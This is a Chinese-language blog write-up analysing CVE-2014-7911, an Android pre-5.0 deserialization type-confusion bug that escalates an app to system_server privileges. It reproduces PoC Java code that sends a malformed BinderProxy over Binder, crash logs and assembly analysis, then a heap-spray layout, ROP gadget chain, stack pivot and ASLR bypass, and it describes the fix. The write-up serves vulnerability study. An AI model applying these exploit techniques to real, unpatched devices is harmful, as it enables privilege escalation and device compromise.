本文地址:http://www.ms509.com/2015/05/25/cve-2014-7911/

第一部分 漏洞分析详解

0x00 简介

CVE-2014-7911是由Jann Horn发现的一个有关安卓的提权漏洞,该漏洞允许恶意应用从普通应用权限提权到system用户执行命令,漏洞信息与POC见[1]。漏洞的成因源于在安卓系统(<5.0)中,java.io.ObjectInputStream并未校验输入的java对象是否是实际可序列化的。攻击者因此可以构建一个不可序列化的java对象实例,恶意构建其成员变量,当该对象实例被ObjectInputStream反序列化时,将发生类型混淆,对象的Field被视为由本地代码处理的指针,使攻击者获得控制权。

0x02 漏洞分析

在Jann Horm给出的漏洞信息与POC中[1],向system_server传入的是不可序列化的android.os.BinderProxy对象实例,其成员变量在反序列化时发生类型混淆,由于BinderProxy的finalize方法包含本地代码,于是在本地代码执行时将成员变量强制转换为指针,注意到成员变量是攻击者可控的,也就意味着攻击者可以控制该指针,使其指向攻击者可控的地址空间,最终获得在system_server(uid=1000)中执行代码的权限。下面主要结合POC对漏洞进行详细分析,由于笔者之前对相关的Java序列化、Android binder跨进程通信和native代码都不太熟悉,主要根据参考文献进行翻译、整理和理解,不当之处,还请读者海涵。

Java层分析:

第一步,构建一可序列化的恶意对象

创建AAdroid.os.BinderProxy对象,并将其放入Bundle数据中

1
2
3
Bundle b = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
b.putSerializable("eatthis", evilProxy);

注意AAdroid.os.BinderProxy是可序列化的,其成员变量mOrgue就是随后用于改变程序执行流程的指针。随后该可序列化的AAdroid.os.BinderProxy将在传入system_server之间修改为不可序列化的Android.os.BinderProxy对象

1
2
3
4
5
6
7
8
public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
//public long mObject = 0x1337beef;
//public long mOrgue = 0x1337beef;
//注意:此处要根据待测的Android版本号设置,在我们待测试的Android 4.4.4中,BinderProxy的这两个Field为private int,这样才能保证POC访问的地址为我们设置的值0x1337beef
private int mObject = 0x1337beef;
private int mOrgue = 0x1337beef;
}

第二步,准备传入system_server的数据

主要通过一系列java的反射机制,获得android.os.IUserManager.Stub,andrioid.os.IUserManager.Stub.Proxy的Class对象,最终获得跨进程调用system_server的IBinder接口——mRemote,以及调用UserManager.setApplicationRestriction函数的code——TRANSACTION_setApplicationRestriction,为与system_server的跨进程Binder通信作准备。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Class clIUserManager = Class.forName("android.os.IUserManager");
Class[] umSubclasses = clIUserManager.getDeclaredClasses();
System.out.println(umSubclasses.length+" inner classes found");
Class clStub = null;
for (Class c: umSubclasses) {
//it's android.os.IUserManager.Stub
System.out.println("inner class: "+c.getCanonicalName());
if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) {
clStub = c;
}
}

Field fTRANSACTION_setApplicationRestrictions =
clStub.getDeclaredField("TRANSACTION_setApplicationRestrictions");
fTRANSACTION_setApplicationRestrictions.setAccessible(true);
TRANSACTION_setApplicationRestrictions =
fTRANSACTION_setApplicationRestrictions.getInt(null);

UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
Field fService = UserManager.class.getDeclaredField("mService");
fService.setAccessible(true);
Object proxy = fService.get(um);

Class[] stSubclasses = clStub.getDeclaredClasses();
System.out.println(stSubclasses.length+" inner classes found");
clProxy = null;
for (Class c: stSubclasses) {
//it's android.os.IUserManager.Stub.Proxy
System.out.println("inner class: "+c.getCanonicalName());
if (c.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
clProxy = c;
}
}

Field fRemote = clProxy.getDeclaredField("mRemote");
fRemote.setAccessible(true);
mRemote = (IBinder) fRemote.get(proxy);//获得跨进程调用system_server的IBinder接口

UserHandle me = android.os.Process.myUserHandle();
setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());

第三步,向system_server传入不可序列化的Bundle参数

接下来,调用setApplicationRestrictions这个函数,并传入了之前打包evilproxy的Bundle数据作为参数。将该函数与Android源码中的setApplicationRestrication函数[6]对比,主要的区别在于将传入的Bundle数据进行了修改,将之前可序列化的AAdroid.os.BinderProxy对象修改为了不可序列化的Android.os.BinderProxy对象,这样就将不可序列化的Bundles数据,通过Binder跨进程调用,传入system_server的Android.os.UserManager.setApplicationRestrictions方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
userHandle) throws android.os.RemoteException
{
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle);

//修改AAdroid.os.BinderProxy为Android.os.BinderProxy

byte[] data = _data.marshall();
for (int i=0; true; i++) {
if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {
data[i] = 'a';
data[i+1] = 'n';
break;
}
}
_data.recycle();
_data = Parcel.obtain();
_data.unmarshall(data, 0, data.length);
/**
通过Binder机制跨进程调用Android.os.UserManager.setApplicationRestrictions方法,
向system_server传入的是实际不可序列化的Android.os.BinderProxy对象
*/
mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
_reply.readException();
}
finally {
_reply.recycle();
_data.recycle();
}
}

安装POC,启动Activity后将其最小化,触发GC,引起Android系统重启,从Logcat日志中可以看到,system_server执行到了之前设置的BinderProxy对象的0x1337beef这个值,访问了不该访问的内存,导致异常。错误信号、寄存器快照和调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
05-14 18:30:55.974: I/DEBUG(3695): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
05-14 18:30:55.974: I/DEBUG(3695): Revision: '11'
05-14 18:30:55.974: I/DEBUG(3695): pid: 1552, tid: 1560, name: FinalizerDaemon >>> system_server <<<
05-14 18:30:55.974: I/DEBUG(3695): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3
05-14 18:30:56.064: I/DEBUG(3695): r0 1337beef r1 401b89d9 r2 746fdad8 r3 6d4fbdc4
05-14 18:30:56.064: I/DEBUG(3695): r4 401b89d9 r5 1337beef r6 713e3f68 r7 1337beef
05-14 18:30:56.064: I/DEBUG(3695): r8 1337beef r9 74709f68 sl 746fdae8 fp 74aacb24
05-14 18:30:56.064: I/DEBUG(3695): ip 401f08a4 sp 74aacae8 lr 401b7981 pc 40105176 cpsr 200d0030
...
I/DEBUG ( 241): backtrace:
I/DEBUG ( 241): #00 pc 0000d176 /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3)
I/DEBUG ( 241): #01 pc 0007097d /system/lib/libandroid_runtime.so
I/DEBUG ( 241): #02 pc 0001dbcc /system/lib/libdvm.so (dvmPlatformInvoke+112)
I/DEBUG ( 241): #03 pc 0004e123 /system/lib/libdvm.so (dvmCallJNIMethod(unsigned int const*, JValue*, Method const*, Thread*)+398)
I/DEBUG ( 241): #04 pc 00026fe0 /system/lib/libdvm.so
I/DEBUG ( 241): #05 pc 0002dfa0 /system/lib/libdvm.so (dvmMterpStd(Thread*)+76)
I/DEBUG ( 241): #06 pc 0002b638 /system/lib/libdvm.so (dvmInterpret(Thread*, Method const*, JValue*)+184)
I/DEBUG ( 241): #07 pc 0006057d /system/lib/libdvm.so (dvmCallMethodV(Thread*, Method const*, Object*, bool, JValue*, std::__va_list)+336)
I/DEBUG ( 241): #08 pc 000605a1 /system/lib/libdvm.so (dvmCallMethod(Thread*, Method const*, Object*, JValue*, ...)+20)
I/DEBUG ( 241): #09 pc 00055287 /system/lib/libdvm.so
I/DEBUG ( 241): #10 pc 0000d170 /system/lib/libc.so (__thread_entry+72)
I/DEBUG ( 241): #11 pc 0000d308 /system/lib/libc.so (pthread_create+240)

####Native层分析:

假如BinderProxy可以被序列化,那么在反序列化时,其field引用的对象也会被反序列化;但在POC中ObjectInputStream反序列化的BinderProxy对象实例不可序列化,这样在ObjectInputStream反序列化BinderProxy对象时,发生了类型混淆(type confusion),其field被当做随后由Native代码处理的指针。这个filed就是之前设置的0x1337beef,具体而言,就是mOrgue这个变量。

android.os.BinderProxy 的finalize方法调用native代码,将mOrgue处理为指针.

1
2
3
4
5
6
7
8
9
protected void finalize() throws Throwable {
destroy();
super.finalize();
return;
Exception exception;
exception;
super.finalize();
throw exception;
}

其中,destroy为native方法

private final native void destroy();

cpp代码

1
2
3
4
5
6
7
8
9
10
11
12
13
static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj)
{
IBinder* b = (IBinder*)
env->GetIntField(obj, gBinderProxyOffsets.mObject);
DeathRecipientList* drl = (DeathRecipientList*)
env->GetIntField(obj, gBinderProxyOffsets.mOrgue);
LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);
env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);
env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);
drl->decStrong((void*)javaObjectForIBinder);
b->decStrong((void*)javaObjectForIBinder);
IPCThreadState::self()->flushCommands();
}

最终native代码调用上述decStrong方法,从

DeathRecipientList* drl = (DeathRecipientList*)
        env->GetIntField(obj, gBinderProxyOffsets.mOrgue);

这一行可以看出,drl就是mOrgue,可以被攻击者控制。
所以,drl->decStrong方法调用使用的this指针可由攻击者控制。

再看一下RefBase类中的decStrong方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void RefBase::decStrong(const void* id) const
{
weakref_impl* const refs = mRefs;
refs->removeStrongRef(id);
const int32_t c = android_atomic_dec(&refs->mStrong);
#if PRINT_REFS
ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);
#endif
ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs);
if (c == 1) {
refs->mBase->onLastStrongRef(id);
if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {
delete this;
}
}
refs->decWeak(id);
}

注意上述refs->mBase->onLastStrongRef(id)最终导致代码执行。

汇编代码分析:

下面看一下发生异常时最后调用的RefBase:decStrong的汇编代码。将libutils.so拖入IDA Pro,查看Android::RefBase::decStrong函数。分析时需要牢记的是,攻击者能够控制r0(this指针)

image

首先对r0的使用,是在decStrong的前下面三行代码之中

1
2
3
weakref_impl* const refs = mRefs;
refs->removeStrongRef(id);
const int32_t c = android_atomic_dec(&refs->mStrong);

对应的汇编代码如下

1
2
3
4
ldr     r4, [r0, #4]   # r0为this指针,r4为mRefs
mov r6, r1
mov r0, r4
blx <android_atomic_dec ()>

首先,mRefs被加载到r4。(r0是drl的this指针,mRefs是虚函数表之后的第一个私有变量,因此mRefs为r0+4所指向的内容)

然后,android_atomic_dec函数被调用,传入参数&refs->mStrong.

const int32_t c = android_atomic_dec(&refs->mStrong);

这被翻译为

1
2
mov     r0, r4	# r4指向mStrong,r0指向mStrong
blx <android_atomic_dec ()>

作为函数参数,上述r0就是&refs->mStrong。注意,mStrong是refs(类weakref_impl)的第一个成员变量,由于weakref_impl没有虚函数,所以没有虚函数表,因此mStrong就是r4所指向的内容。

另外,refs->removeStrongRef(id);这一行并没有出现在汇编代码中,因为这个函数为空实现,编译器进行了优化。如下所示。

void removeStrongRef(const void* /*id*/) { }

在调用android_atomic_dec后,出现的是以下代码

1
2
if (c == 1) {
refs->mBase->onLastStrongRef(id);

对应的汇编代码

1
2
3
4
5
6
7
cmp     r0, #1          # r0 = refs->mStrong
bne.n d1ea
ldr r0, [r4, #8] # r4 = &refs->mStrong
mov r1, r6
ldr r3, [r0, #0]
ldr r2, [r3, #12]
blx r2

注意,android_atomic_dec函数执行强引用计数减1,返回的是执行减1操作之前所指定的内存地址存放的值。为了调用refs->mBase->onLastStrongRef(id)(即:blx r2),攻击者需要使refs->mStrong为1.

至此,可以看出攻击者为了实现代码执行,需要满足如下约束条件:

  1. drl(就是mOrgue,第一个可控的指针,在进入decStrong函数时的r0)必须指向可读的内存区域;
  2. refs->mStrong必须为1;
  3. refs->mBase->onLastStrongRef(id)需要执行成功。并最终指向可执行的内存区域。即满足
1
2
3
4
5
if(*(*(mOrgue+4))==1){
refs = *(mOrgue+4)
r2 = *(*(*(refs+8))+12)
blx r2 ----->获取控制权
}

除此以外,攻击者还必须克服Android中的漏洞缓解技术——ASLR和DEP。

0x03漏洞利用

为了成功获得任意代码执行,攻击者可以使用堆喷射、堆栈转移(stack pivoting)和ROP等技术。受限于笔者目前水平,这里就不再分析了,具体分析和retme大牛的POC可参见[2,3,4]。

值得注意的是,尽管Android采用了ASLR机制,但为了获得正确的地址,可以基于这样一个事实:system_server和攻击者app都是从同一个进程-Zygote fork而来,具有相同的基址,攻击者通过分析自己进程的map文件(位于/proc/<pid>/maps)就可以知道system_server以及所加载模块的内存布局。

另外一个有趣的话题是,洞主Jann Horn对PAN的分析进行了评论[2],认为不需要复杂的ROP gadgets就可以实现命令执行,而PAN对此进行了澄清。这从侧面反映了漏洞利用技术也是一门大的学问,有时即使漏洞发现者也未必能够真正理解漏洞利用的挑战。

最后Jann Horn谈到了发现此漏洞的灵感[5],源于他在大学时听到的一次讲座,涉及到某个PHP web应用在反序列化攻击者输入数据时出现的漏洞,这使他思考其他应用是否也有类似的问题。他知道Java的反序列化由ObjectInputStream处理不可信的输入数据,android也许忘了进行检查。是的,漏洞就在那里。

参考文献

[1]http://seclists.org/fulldisclosure/2014/Nov/51

[2]http://researchcenter.paloaltonetworks.com/2015/01/cve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation

[3]https://github.com/retme7/CVE-2014-7911_poc

[4]https://github.com/retme7/My-Slides/blob/master/xKungfooSH%40retme.pdf

[5]https://www.reddit.com/r/netsec/comments/2mr9cz/cve20147911_android_50_privilege_escalation_using/

[6]http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.4_r1/android/os/IUserManager.java#IUserManager.Stub.Proxy.setApplicationRestrictions%28java.lang.String%2Candroid.os.Bundle%2Cint%29

—-2015.10.20更新—–

第二部分 漏洞利用详解

0x00 回顾

CVE-2014-7911是一个非常值得学习的漏洞,其漏洞成因和漏洞利用涉及java序列化、安卓binder IPC通信、ROP、Stack Pivot、heap Spray及多方面的知识,http://drops.wooyun.org/mobile/6082对漏洞成因及Crash POC进行了分析。本篇结合retme、secauo等大牛们的已有exp,站在大牛们的肩膀上,续写漏洞利用部分,最终目标是利用这个漏洞以system权限执行代码。

首先回顾一下。前面提到,利用java反射和Binder进程间通信机制,向system_server传入一不可序列化的恶意对象,由于java.io.ObjectInputStream并未校验该输入的对象实例是否是实际可序列化的,因此当该对象实例被ObjectInputStream反序列化时,将发生类型混淆,对象的Field被视为由本地代码处理的指针,使攻击者获得控制权。如下,

1
2
3
4
5
if(*(*(mOrgue+4))==1){
refs = *(mOrgue+4)
r2 = *(*(*(refs+8))+12)
blx r2 ----->获取控制权
}

其中mOrgue是攻击者可控的,经过三重指针的解引用,最终以system_server(uid=1000)的权限跳转到攻击者可控的地址执行代码,从而实现从普通用户到system用户的提权。

0x01 Dalvik-heap Spray

为了使上述blx r2这条指令可靠稳定地跳转到执行攻击者可控的代码,需要使用堆喷射技术,在system_server内存空间的dalvik-heap中预先布置大量的Spray Buffer, 其中放置提权代码以及大量指向该提权代码的地址。这涉及到两个问题。

  1. 如何向sysetem_server的dalvik-heap空间传入可控字符串?
  2. 如何在dalvik-heap中布局这些可控字符串,才能在每次漏洞利用时都稳定执行代码?

对于第一个问题,我们知道system_server向android系统提供绝大多数的系统服务,通过这些服务的一些特定方法可以向system_server传入String,同时system_server把这些String存储在Dalvik-heap中,在GC之前都不会销毁。例如,下面android.content.Context中的registerReceiver方法

1
public Intent registerReceiver (BroadcastReceiver receiver, IntentFilter filter, String broadcastPermission, Handler scheduler)

其中broadcastPermission为String类型,调用该方法后,String Buffer将常驻system_server进程空间。具体调用链见

1
ContextWrapper.registerReceiver->ContextImpl.registerReceiver->ContextImpl.registerReceiverInternal->ActivityManagerProxy.registerReceiver->ActivityManagerService.registerReceiver

该调用链表明可从某个app的Context通过binder IPC跨进程调用system_server的ActivityManagerService.registerReceiver方法,注意ActivityManagerService常驻system_server进程空间。我们再看看ActivityManagerService的registerReceiver方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Intent registerReceiver(IApplicationThread caller, String callerPackage, IIntentReceiver receiver, IntentFilter filter, String permission, int userId) {
enforceNotIsolatedCaller("registerReceiver");
int callingUid;
int callingPid;
synchronized(this) {
......
ReceiverList rl
= (ReceiverList)mRegisteredReceivers.get(receiver.asBinder());
......
BroadcastFilter bf = new BroadcastFilter(filter, rl, callerPackage,
permission, callingUid, userId); //在Dalvik-heap中分配内存
rl.add(bf);
......
return sticky;
}
}

注意上面的new将在system_server进程的Dalvik-heap堆中分配内存,传入的String Buffer即permission将常驻system_server进程空间。这样,第一个问题解决了。

下面探讨第二个问题:如何在dalvik-heap中布局这些可控字符串,才能在每次漏洞利用时都能稳定执行代码?

根据前面的叙述,攻击者可控的mOrgue需要指向一个可读的内存区域,简单地让其指向传入registerReceiver方法permission参数String Buffer所属的地址区域并在String Buffer中布置ROP Gadget即可达到这个目的,但system_server在其dalvik-heap中分配String Buffer的偏移地址却是未知的,mOrgue未必能命中(指向)堆块中为String Buffer分配的内存。为了提高命中率,需要在dalvik-heap中分配大量的String Buffer,这就是Heap Spray(堆喷射)技术,反复调用registerReceiver方法分配大量的String Buffer即可完成Heap Spray。但是,String Buffer的地址在每次调用registerReceiver方法分配内存时都会不一样,这就需要构造一种特殊的堆喷射布局,包含递减的指针值[2],如图。

image

如图,每一个在堆中分配的内存块(chunk),都包含Relative Address Chunk和Gadget_buffer两部分,目标是使可控的STATIC_ADDRESS(即mOrgue)位于Relative Address Chunk,并且使其存放的内容[STATIC_ADDRESS]=GADGET_BUFFER(即Gadget_buffer的地址)。简单的思路就是在每个chunk的relative Address Chunk中都放入GADGET_BUFFER,然而由于GADGET_BUFFER在每个chunk中都不一样,而且也无法在跨进程传入system_server之前提前知晓,因此该思路并不可行。

注意,GADGET_BUFFER = 堆底地址 + Gadget_buffer_offset(即Gadget_Buffer相对于堆底的偏移)。当STATIC_ADDRESS=堆底地址时,GADGET_BUFFER = STATIC_ADRRESS+Gadget_buffer_offset;考虑到四字节对齐,一般情况下,STATIC_ADDRESS=堆底地址+4N(N=1,2,…),此时GADGET_BUFFER = STATIC_ADDRESS + Gadget_buffer_offset - 4N。因此,在每一个Chunk的Relative Address Chunk区域按地址增长方向,依次在内存中填入STATIC_ADDRESS+Gadget_buffer_offset、STATIC_ADDRESS+Gadget_buffer_offset-4、…、STATIC_ADDRESS+Gadget_buffer_offset-4N。这样,给定一个STATIC_ADDRESS,只要能落入system_server在dalvik heap分配的Relative Addresses Chunk的地址范围(为了提高这个可能性,需要满足
1.每一个Chunk的Relative Address Chunk比Gadget Buffer大很多;2.分配大量这样的Chunk),就总是存在[STATIC_ADDRESS]=GADGET_BUFFER,并满足[STATIC_ADDRESS+4N]=GADGET_BUFFER-4N(这个条件将在后面布置Gadget时用到)。
按照这样的布局,回过来再看汇编代码,布置Gadget_Buffer。

1
2
3
4
ldr     r4, [r0, #4]   # r0=STATIC_ADDRESS-->r4=[STATIC_ADDRESS+4]=GADGET_BUFFER-4
mov r6, r1
mov r0, r4 # r0=GADGET_BUFFER-4
blx <android_atomic_dec ()>

调用android_atomic_dec函数之后

1
2
3
4
5
6
7
cmp     r0, #1          # r0 = [GADGET_BUFFER-4]
bne.n d1ea
ldr r0, [r4, #8] # r0 = [GADGET_BUFFER-4+8] = [GADGET_BUFFER+4]
mov r1, r6
ldr r3, [r0, #0] # r3 =[[GADGET_BUFFER+4]] = [STATIC_ADDRESS+12] = GADGET_BUFFER-12
ldr r2, [r3, #12] # r2 = [GADGET_BUFFER -12 +12] = [GADGET_BUFFER]
blx r2

首先,为了进入blx r2这条分支,r0必须等于1,也就是[GADGET_BUFFER-4]=1;其次,[GADGET_BUFFER+4]必须为一个合法可读的地址,为了方便之后的布局,我们令[GADGET_BUFFER+4]=STATIC_ADDRESS+12,因此r3 = [STATIC_ADDRESS+12]=GADGET_BUFFER-12,接下来r2=[r3+12]=[GADGET_BUFFER-12+12]=[GADGET_BUFFER],程序将跳转到GADGET_BUFFER这个地址存放的内容执行,因此在这里就可以布置ROP Gadget1的地址了。

0x02 ROP Chain

由于Android使用了DEP,因此Dalvik-heap上的内存不能用来执行,这就必须使用ROP技术,使PC跳转到一系列合法指令序列(Gadget),并由这些Gadget“拼凑”而成shellcode。这里我们将使用ROP Gadget调用system函数执行代码。

使用ROPGadget这个工具,在zygote加载的基础模块(如libc.so、libwebviewchromium.so、libdvm.so)上进行搜索,把arm code当做thumb code来搜索,可以增加更多的候选指令序列。

为了调用system函数,需要控制r0寄存器,指向我们预先布置的命令行字符串作为参数。这里需要使用Stack Pivot技术,将栈顶指针SP指向控制的Dalvik-heap堆中的数据,这将为控制PC寄存器、以及在栈上布置数据带来便利。利用

1
ROPgadget --thumb --binary libwebviewchromium.so

可找到如下Gadget

Gadget1

为Stack Pivot作准备

in libwebviewchromium.so

1
2
3
4
70a93c:       682f            ldr     r7, [r5, #0]  #r5=STATIC_ADDRESS, r7=[STATIC_ADDRESS]=GADGET_BUFFER
70a93e: 4628 mov r0, r5 #r0=STATIC_ADDRESS
70a940: 68b9 ldr r1, [r7, #8] #r1=[GADGET_BUFFER+8]
70a942: 4788 blx r1

或者

1
2
3
4
5
4fed02:       4628            mov     r0, r5           #r5 = STATIC_ADDRESS
4fed04: 682f ldr r7, [r5, #0] #r7 = [STATIC_ADDRESS] = GADGET_BUFFER
4fed06: f8d4 8048 ldr.w r8, [r4, #72] ; 0x48
4fed0a: 68b9 ldr r1, [r7, #8] #r1 = [GADGET_BUFFER+8]
4fed0c: 4788 blx r1

因此,GADGET_BUFFER+8这个地址需要指向第二个Gadget

Gadget2

Stack Pivot

in libdvm.so

1
2
3
4
664c4:       f107 0708       add.w   r7, r7, #8   #r7=r7+8=GADGET_BUFFER+8
664c8: 46bd mov sp, r7 #sp=GADGET_BUFFER+8
664ca: bdb0 pop {r4, r5, r7, pc}
# r4=[GADGET_BUFFER+8],r5=[GADGET_BUFFER+12],r7=[GADGET_BUFFER+16],pc=[GADGET_BUFFER+20], sp=GADGET_BUFFER+24

可以看到,将SP指向堆中可控的数据后,后面就可以控制PC。这里,我们提前将system函数的地址写入[GADGET_BUFFER+12]。为什么要通过Gadget1的过渡才能来到Gadget2,事实上这是不得已而为之,使用ROPGadget搜遍/system/lib下的基础模块grep “mov sp,r”,只发现mov sp,r7,因此只能采取这种过渡的方式。

接下来,在GADGET_BUFFER+20这个地址填入Gadget3的地址

Gadget3

in libwebviewchromium.so

1
2
30c4b8:       4668            mov     r0, sp   #r0=GADGET_BUFFER+24
30c4ba: 47a8 blx r5 #r5=[GADGET_BUFFER+12]=system_addr

因此,提前将system函数的参数放入r0指向的GADGET_BUFFER+24即可,最终将以system_server的权限执行任意代码。

最终的chunk布局如图。

image

最后,构造ROP Chain还需要考虑一个细节,ARM有两种模式Thumb和ARM模式,我们使用的Gadgets均为Thumb模式,因此其地址的最低位均需要加1。

0x03 ASLR

Android 自4.1始开始启用ASLR(地址随机化),任何程序自身的的地址空间在每一次运行时都将发生变化。但在Android中,攻击程序、system_server皆由zygote进程fork而来,因此攻击程序与system_server共享同样的基础模块和dalvik-heap。只要在使用dalvik heapspray和构建ROP Gadget时,只使用libc、libdvm这些基础模块,就无需考虑地址随机化的问题。通过对攻击程序自身/proc/<pid>/maps文件的解析,就可以得知所加载基础模块的基址。如图,

image

根据上述Gadgets构建的POC见https://github.com/heeeeen/CVE-2014-7911poc
,执行完毕后,将以system用户的权限在/data目录下生成一个pwned.txt文件。

0x04 修复

https://android.googlesource.com/platform/libcore/+/738c833d38d41f8f76eb7e77ab39add82b1ae1e2%5E%21/#F0,涉及与反序列化相关的
ObjectInputStream.java、ObjectStreamClass.java、ObjectStreamConstants.java、SerializationTest.java等文件。主要加了三种检查:

  1. 检查反序列化的类是否仍然满足序列化的需求;
  2. 检查反序列化的类的类型是否与stream中所持有的类型信息 (enum, serializable, externalizable)一致;
  3. 在某些情形下,延迟类的静态初始化,直到对序列化流的内容检查完成。

参考

1.http://researchcenter.paloaltonetworks.com/2015/01/cve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation

2.https://github.com/retme7/CVE-2014-7911_poc

3.https://github.com/retme7/My-Slides/blob/master/xKungfooSH%40retme.pdf

4.http://secauo.com/CVE-2014-7911-Detailed-Analysis-Of-Android-Local-Privilege-Escalation-To-System-Vulnerability.html